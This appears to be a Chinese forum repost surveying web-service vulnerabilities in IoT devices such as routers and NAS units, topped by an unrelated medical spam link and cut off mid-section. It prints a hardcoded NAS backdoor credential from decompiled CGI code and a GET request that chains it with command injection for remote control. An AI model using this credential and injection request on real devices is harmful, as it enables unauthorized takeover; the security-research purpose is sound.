Web开发

首页 » 常识 » 预防 » IOT漏洞研究Web服务
TUhjnbcbe - 2020/12/27 2:51:00
白癜风有什么中药制剂 http://m.39.net/pf/a_4633653.html
路由器、防火墙、NAS和摄像头等由于功能复杂,为方便交互一般都会提供web管理服务,和服务器web相比,IOT的web功能较为简单,也就避免了一些复杂功能存在的漏洞,但是由于嵌入式设备的硬件瓶颈,设备自身的安全检测与防护能力有限,也就增加了其安全风险。IoTWeb服务

IOTweb常采用开源框架+自研模块的方式,漏洞特点也较为明显:

(一)自研CGI模块中存在漏洞的概率较高,漏洞差异性大(二)开源框架(可能的)漏洞广泛存在各种设备,漏洞同源性强

虽然具体漏洞存在差异,但常见的大致分为几类。

.1漏洞类型.1.1常见web漏洞

首先当然是弱口令,虽然在IOT攻击中比重较大但和用户设置相关,再次不做讨论。其次常见的web漏洞包括sql注入、xss、csrf、ssrf、xxe等,由于挖掘和利用方法和服务器web基本相似,且在IOTweb漏洞中占比不高,就不在赘述。唯一想强调的是路由器、防火墙等边界设备尤其要重视ssrf漏洞,不然很容易成为内网渗透的垫脚石。

.1.硬编码

硬编码是开发人员为了方便调试(或其他某些原因)在设备内部保留的后门,一般权限较高。有些服务的形式存在,比如某款路由器的IGDMPTD进程默认开启端口,连接就直接获取rootshell。

LOAD:B8sw$zero,0x30+sock_addr($sp)LOAD:BCsw$zero,0x30+sock_addr.sin_zero($sp)LOAD:C0sw$zero,0x30+sock_addr.sin_zero+4($sp)LOAD:C0+4li$v0,LOAD:C8sh$v0,0x30+sock_addr($sp)LOAD:CCli$v0,0xFFFFD0A5#0xd05a=LOAD:D0sh$v0,0x30+sock_addr.sin_port($sp)LOAD:D4sw$zero,0x30+sock_addr.sin_addr($sp)

许多IOTweb应用中也被发现存在硬编码后门,比如某款NAS,以下是该NAS的nas_sharing.cgi的部分IDA伪代码:

structpasswd*__fastcallre_BACKDOOR(constchar*a1,constchar*a){constchar*v;//r5

1constchar*v3;//r4

1structpasswd*result;//r0

4FILE*v5;//r6

5structpasswd*v6;//r5

7{...}if(!strcmp(v3,"mydlinkBRionyg")!strcmp((constchar*)v9,"abccba")){result=(structpasswd*)1;}else{v5=(FILE*)fopen64("/etc/shadow","r");{...}if(!strcmp(result-pw_name,v3)){strcpy(s,v6-pw_passwd);fclose(v5);strcpy(dest,(constchar*)v9);v7=(constchar*)sub_C(dest,s);return(structpasswd*)(strcmp(v7,s)==0);}{...}}

可以看出代码中包含了一个管理员凭据(用户名mydlinkBRionyg/密码abccba),代码中还使用了危险函数strcpy,虽然在这个漏洞没有用到,结合硬编码可以构造命令注入数据实现设备的远程控制。

GET/cgi-bin/nas_sharing.cgi?dbg=1cmd=51user=mydlinkBRionygpasswd=YWJjMTIzNDVjYmEstart=1count=1;{yourcmd};

此种漏洞还是比较直观的,可以通过(二进制)代码审计找到,使用一些反汇编插可以提高挖掘效率,在后文我们会讨论到。

.1.信息泄漏

信息泄漏概念比较泛,完全杜绝很困难,一般只要出现对设备研究(攻击)有帮助的信息泄漏都会造成一定危害,不仅用户信息(用户名、密码等),二进制文件地址信息等较为敏感,

1
查看完整版本: IOT漏洞研究Web服务